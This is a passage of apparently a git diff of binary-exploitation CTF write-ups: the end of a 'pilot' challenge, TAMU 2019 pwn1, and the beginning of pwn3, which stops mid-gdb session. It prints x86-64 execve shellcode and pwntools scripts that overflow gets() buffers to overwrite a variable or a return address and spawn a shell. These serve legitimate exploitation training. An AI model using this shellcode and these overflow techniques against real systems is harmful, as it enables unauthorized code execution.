Now let's compile it and test it:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
|
||||
→ nasm -f elf64 7.asm
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
|
||||
→ ld 7.o -o 7
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
|
||||
→ ./7
|
||||
|
||||
[ 192.168.100.1/24 ] [ /dev/pts/7 ] [/home/nothing/binexp/2/pilot]
|
||||
→ echo $0
|
||||
bash
|
||||
|
||||
[ 192.168.100.1/24 ] [ /dev/pts/7 ] [/home/nothing/binexp/2/pilot]
|
||||
→ exit
|
||||
exit
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
|
||||
→ echo $0
|
||||
/bin/zsh
|
||||
|
||||
|
||||
|
||||
And we see that it enables us to switch from zsh to bash! now let's make shellcode out of it after we adjust the assembly file:
|
||||
|
||||
|
||||
[bits 64]
|
||||
|
||||
xor esi, esi ; xor out esi and edx
|
||||
xor edx, edx
|
||||
|
||||
push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59)
|
||||
pop rax ;take the out the top of the stack to put it into rax
|
||||
|
||||
mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx
|
||||
|
||||
push rsi ; push the value of rsi
|
||||
push rbx ; push the value of rbx
|
||||
mov rdi, rsp ; move the value of rsp ( ) into rdi (first arguement)
|
||||
syscall
|
||||
|
||||
|
||||
|
||||
Now let's compile it:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
|
||||
→ nasm -f bin 7.asm -o shellcode
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
|
||||
→ cat shellcode
|
||||
11j;XH/bin//shVSH%
|
||||
|
||||
|
||||
|
||||
Now let's view it inside of python exploit script:
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
|
||||
#read the shellcode file we compiled
|
||||
with open('shellcode', 'rb') as f:
|
||||
shellcode = f.read()
|
||||
|
||||
#initialize the payload
|
||||
payload = b""
|
||||
|
||||
payload += shellcode
|
||||
|
||||
print(payload)
|
||||
print(hexdump(payload))
|
||||
|
||||
|
||||
|
||||
|
||||
Now let's test our script:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
|
||||
→ python3 exploit.py
|
||||
b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05'
|
||||
00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│
|
||||
00000010 68 56 53 48 89 e7 0f 05 │hVSH│····│
|
||||
00000018
|
||||
|
||||
|
||||
|
||||
Now let's make the full payload and view the hexdump of it:
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
|
||||
target = process('./pilot')
|
||||
|
||||
|
||||
#print the output text until the 'Location:' part
|
||||
print(target.recvuntil("[*]Location:"))
|
||||
|
||||
#right after the 'Location:' part, is the memory address of our input
|
||||
leak = target.recvline()
|
||||
inputAdr = int(leak.strip(b"\n"), 16)
|
||||
|
||||
#store the memory address until the newline character (16 characters)
|
||||
print(inputAdr)
|
||||
|
||||
|
||||
|
||||
with open('shellcode', 'rb') as f:
|
||||
shellcode = f.read()
|
||||
|
||||
#initialize the payload
|
||||
payload = b""
|
||||
|
||||
#add the shellcode to the payload this is 21 bytes long or 0x15 in hexa
|
||||
payload += shellcode
|
||||
|
||||
#add the remaining required padding to the payload so that it attains the 0x28 size (thanks to added nullbytes)
|
||||
payload += b"\x00" * (0x28 - len(payload))
|
||||
|
||||
#overwrite the return address with the address of the start of our input
|
||||
payload += p64(inputAdr)
|
||||
|
||||
print(payload)
|
||||
print(hexdump(payload))
|
||||
|
||||
|
||||
|
||||
The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './pilot': pid 2235412
|
||||
b'[*]Welcome DropShip Pilot...\n[*]I am your assitant A.I....\n[*]I will be guiding you through the tutorial....\n[*]As a first step, lets learn how to land at the designated location....\n[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n[*]Good Luck Pilot!....\n[*]Location:'
|
||||
140732702676240
|
||||
b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10U\xc0\xe2\xfe\x7f\x00\x00'
|
||||
00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│
|
||||
00000010 68 56 53 48 89 e7 0f 05 00 00 00 00 00 00 00 00 │hVSH│····│····│····│
|
||||
00000020 00 00 00 00 00 00 00 00 10 55 c0 e2 fe 7f 00 00 │····│····│·U··│····│
|
||||
00000030
|
||||
|
||||
|
||||
|
||||
Now that we have our payload, we send the payload to the binary file with the following last 2 lines :
|
||||
|
||||
|
||||
|
||||
target.send(payload)
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './pilot': pid 2248247
|
||||
b'[*]Welcome DropShip Pilot...\n[*]I am your assitant A.I....\n[*]I will be guiding you through the tutorial....\n[*]As a first step, lets learn how to land at the designated location....\n[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n[*]Good Luck Pilot!....\n[*]Location:'
|
||||
140730313557488
|
||||
b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0EYT\xfe\x7f\x00\x00'
|
||||
00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│
|
||||
00000010 68 56 53 48 89 e7 0f 05 00 00 00 00 00 00 00 00 │hVSH│····│····│····│
|
||||
00000020 00 00 00 00 00 00 00 00 f0 45 59 54 fe 7f 00 00 │····│····│·EYT│····│
|
||||
00000030
|
||||
[*] Switching to interactive mode
|
||||
[*]Command:$ cat flag.txt
|
||||
flag{g0ttem_b0yz}
|
||||
$ exit
|
||||
[*] Got EOF while reading in interactive
|
||||
$ exit
|
||||
[*] Process './pilot' stopped with exit code 0 (pid 2248247)
|
||||
[*] Got EOF while sending in interactive
|
||||
|
||||
|
||||
|
||||
And that's it! we have been able to spawn a shell and print out the flag.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
320
2/pwn1.md
Normal file
|
@ -0,0 +1,320 @@
|
|||
# TAMU 2019 pwn1
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tamu19_pwn1/pwn1
|
||||
--2021-02-23 13:16:19-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tamu19_pwn1/pwn1
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tamu19_pwn1/pwn1 [following]
|
||||
--2021-02-23 13:16:20-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tamu19_pwn1/pwn1
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.109.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 7536 (7.4K) [application/octet-stream]
|
||||
Saving to: ‘pwn1’
|
||||
|
||||
pwn1 100%[=======================================================================================================================================================================================================>] 7.36K --.-KB/s in 0.003s
|
||||
|
||||
2021-02-23 13:16:20 (2.58 MB/s) - ‘pwn1’ saved [7536/7536]
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
|
||||
→ file pwn1
|
||||
pwn1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
|
||||
→ chmod +x pwn1
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First step, let's run the binary to see what it does:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
|
||||
→ ./pwn1
|
||||
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
|
||||
What... is your name?
|
||||
nothing
|
||||
I don't know that! Auuuuuuuugh!
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
|
||||
→ ./pwn1
|
||||
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
|
||||
What... is your name?
|
||||
nobody
|
||||
I don't know that! Auuuuuuuugh!
|
||||
|
||||
|
||||
similar to the previous 2 challenges, it prompts us for some text, and we need to put in something specific, so let's inspect the binary from ghidra:
|
||||
|
||||

|
||||
|
||||
|
||||
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
|
||||
|
||||
undefined4 main(void)
|
||||
|
||||
{
|
||||
int iVar1;
|
||||
char local_43 [43];
|
||||
int local_18;
|
||||
undefined4 local_14;
|
||||
undefined *local_10;
|
||||
|
||||
local_10 = &stack0x00000004;
|
||||
setvbuf(stdout,(char *)0x2,0,0);
|
||||
local_14 = 2;
|
||||
local_18 = 0;
|
||||
puts(
|
||||
"Stop! Who would cross the Bridge of Death must answer me these questions three, ere theother side he see."
|
||||
);
|
||||
puts("What... is your name?");
|
||||
fgets(local_43,0x2b,stdin);
|
||||
iVar1 = strcmp(local_43,"Sir Lancelot of Camelot\n");
|
||||
if (iVar1 != 0) {
|
||||
puts("I don\'t know that! Auuuuuuuugh!");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(0);
|
||||
}
|
||||
puts("What... is your quest?");
|
||||
fgets(local_43,0x2b,stdin);
|
||||
iVar1 = strcmp(local_43,"To seek the Holy Grail.\n");
|
||||
if (iVar1 != 0) {
|
||||
puts("I don\'t know that! Auuuuuuuugh!");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(0);
|
||||
}
|
||||
puts("What... is my secret?");
|
||||
gets(local_43);
|
||||
if (local_18 == -0x215eef38) {
|
||||
print_flag();
|
||||
}
|
||||
else {
|
||||
puts("I don\'t know that! Auuuuuuuugh!");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
looking at the disassembly code, we see a few interesting things. First of all our input text is stored in the variable 'local_43' and then it gets compared to the string of text 'Sir Lancelot of Camelot', depending on that it will either exit with the text 'i don't know that!' or proceed. so let's continue:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
|
||||
→ ./pwn1
|
||||
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
|
||||
What... is your name?
|
||||
Sir Lancelot of Camelot
|
||||
What... is your quest?
|
||||
To seek the Holy Grail.
|
||||
What... is my secret?
|
||||
something secret
|
||||
I don't know that! Auuuuuuuugh!
|
||||
|
||||
|
||||
Likewise, we also see that we need to input the seek the holy grail quest text, but then we do not know the secret passphrase yet. So we need to investigate further:
|
||||
|
||||
|
||||
puts("What... is my secret?");
|
||||
gets(local_43);
|
||||
if (local_18 == -0x215eef38) {
|
||||
print_flag();
|
||||
}
|
||||
else {
|
||||
puts("I don\'t know that! Auuuuuuuugh!");
|
||||
}
|
||||
return 0;
|
||||
|
||||
|
||||
in here, our input text gets put into local_43, and then it is basically not even using our text, instead the binary file checks if local_18 is the same as -0x215eef38, so let's see what this is about:
|
||||
|
||||
|
||||
int local_18;
|
||||
|
||||
[...]
|
||||
|
||||
local_18 = 0;
|
||||
|
||||
[...]
|
||||
|
||||
if (local_18 == -0x215eef38) {
|
||||
print_flag();
|
||||
}
|
||||
else {
|
||||
puts("I don\'t know that! Auuuuuuuugh!");
|
||||
}
|
||||
|
||||
|
||||
apparently local_18 is supposed to be an integer being set to 0, let's get more info on this integer:
|
||||
|
||||

|
||||
|
||||
|
||||
**************************************************************
|
||||
* FUNCTION *
|
||||
**************************************************************
|
||||
undefined main(undefined1 param_1)
|
||||
undefined AL:1
|
||||
undefined1 Stack[0x4]:1 param_1 XREF[1]: 00010779(*)
|
||||
undefined4 Stack[0x0]:4 local_res0 XREF[1]: 00010780(R)
|
||||
undefined1 Stack[-0x10]:1 local_10 XREF[1]: 000108d9(*)
|
||||
undefined4 Stack[-0x14]:4 local_14 XREF[1]: 000107ad(W)
|
||||
undefined4 Stack[-0x18]:4 local_18 XREF[2]: 000107b4(W),
|
||||
000108b2(R)
|
||||
undefined1 Stack[-0x43]:1 local_43 XREF[5]: 000107ed(*),
|
||||
00010803(*),
|
||||
0001084f(*),
|
||||
00010865(*),
|
||||
000108a6(*)
|
||||
main XREF[5]: Entry Point(*),
|
||||
_start:000105e6(*), 00010ab8,
|
||||
00010b4c(*), 00011ff8(*)
|
||||
00010779 8d 4c 24 04 LEA ECX=>param_1,[ESP + 0x4]
|
||||
|
||||
|
||||
|
||||
and let's get the information as to what our integer should be:
|
||||
|
||||

|
||||
|
||||
|
||||
000108b2 81 7d f0 CMP dword ptr [EBP + local_18],0xdea110c8
|
||||
c8 10 a1 de
|
||||
|
||||
|
||||
|
||||
right here we see that the if statement compares our local_18 variable to the 0xdea110c8 value, if it is equal, it will call the print_flag function, so let's check out what we have about that function:
|
||||
|
||||

|
||||
|
||||
|
||||
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
|
||||
|
||||
void print_flag(void)
|
||||
|
||||
{
|
||||
FILE *__fp;
|
||||
int iVar1;
|
||||
|
||||
puts("Right. Off you go.");
|
||||
__fp = fopen("flag.txt","r");
|
||||
while( true ) {
|
||||
iVar1 = _IO_getc((_IO_FILE *)__fp);
|
||||
if ((char)iVar1 == -1) break;
|
||||
putchar((int)(char)iVar1);
|
||||
}
|
||||
putchar(10);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
what we need to do here basically is that we have to use the gets call to overwrite the contents of local_18 to become 0xdea110c8 in order to get the flag.txt. Now looking at the following assembly code:
|
||||
|
||||
|
||||
**************************************************************
|
||||
* FUNCTION *
|
||||
**************************************************************
|
||||
undefined main(undefined1 param_1)
|
||||
undefined AL:1
|
||||
undefined1 Stack[0x4]:1 param_1 XREF[1]: 00010779(*)
|
||||
undefined4 Stack[0x0]:4 local_res0 XREF[1]: 00010780(R)
|
||||
undefined1 Stack[-0x10]:1 local_10 XREF[1]: 000108d9(*)
|
||||
undefined4 Stack[-0x14]:4 local_14 XREF[1]: 000107ad(W)
|
||||
undefined4 Stack[-0x18]:4 local_18 XREF[2]: 000107b4(W),
|
||||
000108b2(R)
|
||||
undefined1 Stack[-0x43]:1 local_43 XREF[5]: 000107ed(*),
|
||||
00010803(*),
|
||||
0001084f(*),
|
||||
00010865(*),
|
||||
000108a6(*)
|
||||
main XREF[5]: Entry Point(*),
|
||||
_start:000105e6(*), 00010ab8,
|
||||
00010b4c(*), 00011ff8(*)
|
||||
00010779 8d 4c 24 04 LEA ECX=>param_1,[ESP + 0x4]
|
||||
|
||||
|
||||
|
||||
we see that our input (local_43) starts at offset -0x43. we also see that local_18 starts at offset -0x18. so we need to take into account the following offset: **0x43 - 0x18 = 0x2b** between the start of our input and local_18. Then we will be able to overflow it and overwrite local_18 with 0xdea110c8 so let's write the python exploit:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
|
||||
→ ls -lash
|
||||
total 20K
|
||||
4.0K drwxr-xr-x 2 nothing nothing 4.0K Feb 23 13:35 .
|
||||
4.0K drwxr-xr-x 3 nothing nothing 4.0K Feb 23 13:16 ..
|
||||
4.0K -rw-r--r-- 1 nothing nothing 18 Feb 23 13:35 flag.txt
|
||||
8.0K -rwxr-xr-x 1 nothing nothing 7.4K Feb 23 13:16 pwn1
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
target = process('./pwn1')
|
||||
|
||||
payload = b""
|
||||
payload += b"0"*0x2b
|
||||
payload += p32(0xdea110c8)
|
||||
|
||||
target.sendline("Sir Lancelot of Camelot")
|
||||
target.sendline("To seek the Holy Grail.")
|
||||
|
||||
target.sendline(payload)
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
So first we create the payload ( 2b zeroes for the initial padding and then with the little endian value 0xdea110c8). After the payload is created, we send the 2 strings of text the binary wants to get past the first 2 questions, and then we send the payload. After that we get into an interactive shell to see what the result is:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
|
||||
→ vim exploit.py
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/pwn1]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './pwn1': pid 34429
|
||||
[*] Switching to interactive mode
|
||||
[*] Process './pwn1' stopped with exit code 0 (pid 34429)
|
||||
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
|
||||
What... is your name?
|
||||
What... is your quest?
|
||||
What... is my secret?
|
||||
Right. Off you go.
|
||||
flag{g0ttem_b0yz}
|
||||
|
||||
[*] Got EOF while reading in interactive
|
||||
$ :-)
|
||||
|
||||
|
||||
|
||||
And that's it! We have been able to print out the flag thanks to our buffer overflow payload.
|
||||
|
||||
![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
340
2/pwn3.md
Normal file
|
@ -0,0 +1,340 @@
|
|||
# TAMU 2019 Pwn3
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
|
||||
--2021-03-05 12:37:20-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
|
||||
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3 [following]
|
||||
--2021-03-05 12:37:20-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tamu19_pwn3/pwn3
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 7348 (7.2K) [application/octet-stream]
|
||||
Saving to: ‘pwn3’
|
||||
|
||||
pwn3 100%[============================================================================================================================================================================>] 7.18K --.-KB/s in 0.001s
|
||||
|
||||
2021-03-05 12:37:21 (12.1 MB/s) - ‘pwn3’ saved [7348/7348]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||||
→ file pwn3
|
||||
pwn3: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||||
→ chmod +x pwn3
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First let's execute the binary to see what it does:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||||
→ ./pwn3
|
||||
Take this, you might need it on your journey 0xfff0aa1e!
|
||||
thanks!
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/pwn3]
|
||||
→ ./pwn3
|
||||
Take this, you might need it on your journey 0xffa9ce0e!
|
||||
No Thanks!
|
||||
|
||||
|
||||
|
||||
Here we see the binary giving us some text output with a certain memory address, and then prompts us for our text and depending on that text, we might get an answer or not. Now let's view it inside of ghidra:
|
||||
|
||||

|
||||
|
||||
We get the following code:
|
||||
|
||||
|
||||
undefined4 main(void)
|
||||
|
||||
{
|
||||
undefined *puVar1;
|
||||
|
||||
puVar1 = &stack0x00000004;
|
||||
setvbuf(stdout,(char *)0x2,0,0);
|
||||
echo(puVar1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
Here we see that the important part of the main function is the echo function:
|
||||
|
||||
|
||||
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
|
||||
|
||||
void echo(void)
|
||||
|
||||
{
|
||||
char local_12e [294];
|
||||
|
||||
printf("Take this, you might need it on your journey %p!\n",local_12e);
|
||||
gets(local_12e);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Here we see our input text gets passed into local_12e, and the function prints the address of the char buffer of local_12e. The bug here is that the gets function that is being used to process our input does not have a limit, it won't restrict us no matter how much data we feed through it, so we have an overflow right here. The question is what do we call ? There are not any function that print the flag nor give a shell, This is why we need to feed shellcode in.
|
||||
|
||||
Now in the previous challenge we were able to create the shellcode we needed for the x86_64 architecture. However this time we need to take into account that this is a 32 bit binary, we have to follow the x86 architecture as we create our shellcode. For this example we're going to grab some shellcode from [shell-storm.org](http://shell-storm.org/shellcode/files/shellcode-827.php).
|
||||
|
||||
Now let's use gdb to see how much space we have between the start of our input and the return address:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/pwn3]
|
||||
→ gdb ./pwn3
|
||||
GNU gdb (GDB) 10.1
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||||
Reading symbols from ./pwn3...
|
||||
(No debugging symbols found in ./pwn3)
|
||||
gef➤ disas echo
|
||||
Dump of assembler code for function echo:
|
||||
0x0000059d <+0>: push ebp
|
||||
0x0000059e <+1>: mov ebp,esp
|
||||
0x000005a0 <+3>: push ebx
|
||||
0x000005a1 <+4>: sub esp,0x134
|
||||
0x000005a7 <+10>: call 0x4a0 <__x86.get_pc_thunk.bx>
|
||||
0x000005ac <+15>: add ebx,0x1a20
|
||||
0x000005b2 <+21>: sub esp,0x8
|
||||
0x000005b5 <+24>: lea eax,[ebp-0x12a]
|
||||
0x000005bb <+30>: push eax
|
||||
0x000005bc <+31>: lea eax,[ebx-0x191c]
|
||||
0x000005c2 <+37>: push eax
|
||||
0x000005c3 <+38>: call 0x410
|
||||
0x000005c8 <+43>: add esp,0x10
|
||||
0x000005cb <+46>: sub esp,0xc
|
||||
0x000005ce <+49>: lea eax,[ebp-0x12a]
|
||||
0x000005d4 <+55>: push eax
|
||||
0x000005d5 <+56>: call 0x420
|
||||
0x000005da <+61>: add esp,0x10
|
||||
0x000005dd <+64>: nop
|
||||
0x000005de <+65>: mov ebx,DWORD PTR [ebp-0x4]
|
||||
0x000005e1 <+68>: leave
|
||||
0x000005e2 <+69>: ret
|
||||
End of assembler dump.
|
||||
|
||||
|
||||
|
||||
Now as we disassembled the echo function, we set a breakpoint +61 because this is right after the gets call where we insert our text in.
|
||||
|
||||
|
||||
gef➤ b *echo+61
|
||||
Breakpoint 1 at 0x5da
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/pwn3/pwn3
|
||||
Take this, you might need it on your journey 0xffffcfbe!
|
||||
13371337
|
||||
|
||||
Breakpoint 1, 0x565555da in echo ()
|
||||
~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py:2425: DeprecationWarning: invalid escape sequence '\
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$eax : 0xffffcfbe → "13371337"
|
||||
$ebx : 0x56556fcc → 0x00001ed4
|
||||
$ecx : 0xf7f90540 → 0xfbad2288
|
||||
$edx : 0xfbad2288
|
||||
$esp : 0xffffcfa0 → 0xffffcfbe → "13371337"
|
||||
$ebp : 0xffffd0e8 → 0xffffd0f8 → 0x00000000
|
||||
$esi : 0x1
|
||||
$edi : 0x56555460 → <_start+0> xor ebp, ebp
|
||||
$eip : 0x565555da → add esp, 0x10
|
||||
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0xffffcfa0│+0x0000: 0xffffcfbe → "13371337" ← $esp
|
||||
0xffffcfa4│+0x0004: 0xffffcfbe → "13371337"
|
||||
0xffffcfa8│+0x0008: 0xffffcfff → 0xffd08000
|
||||
0xffffcfac│+0x000c: 0x565555ac → add ebx, 0x1a20
|
||||
0xffffcfb0│+0x0010: 0x00000000
|
||||
0xffffcfb4│+0x0014: 0x00000000
|
||||
0xffffcfb8│+0x0018: 0x00000000
|
||||
0xffffcfbc│+0x001c: 0x3331b6ff
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
|
||||
0x565555ce lea eax, [ebp-0x12a]
|
||||
0x565555d4 push eax
|
||||
0x565555d5 call 0x56555420
|
||||
→ 0x565555da add esp, 0x10
|
||||
0x565555dd nop
|
||||
0x565555de mov ebx, DWORD PTR [ebp-0x4]
|
||||
0x565555e1 leave
|
||||
0x565555e2 ret
|
||||
0x565555e3 lea ecx, [esp+0x4]
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "pwn3", stopped 0x565555da in echo (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x565555da → echo()
|
||||
[#1] 0x5655561a → main()
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤ search-pattern 13371337
|
||||
|
||||
|
||||
|
||||
Now that we set the breakpoint, we run the binary, and put in an easy-to remember pattern (13371337) and then we search for that pattern in the memory:
|
||||
|
||||
|
||||
gef➤ search-pattern 13371337
|
||||
[+] Searching '13371337' in memory
|
||||
[+] In '[heap]'(0x56558000-0x5657a000), permission=rw-
|
||||
0x565581a0 - 0x565581aa → "13371337\n"
|
||||
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
|
||||
0xffffcfbe - 0xffffcfc6 → "13371337"
|
||||
|
||||
gef➤ info frame
|
||||
Stack level 0, frame at 0xffffd0f0:
|
||||
eip = 0x565555da in echo; saved eip = 0x5655561a
|
||||
called by frame at 0xffffd110
|
||||
Arglist at 0xffffd0e8, args:
|
||||
Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0
|
||||
Saved registers:
|
||||
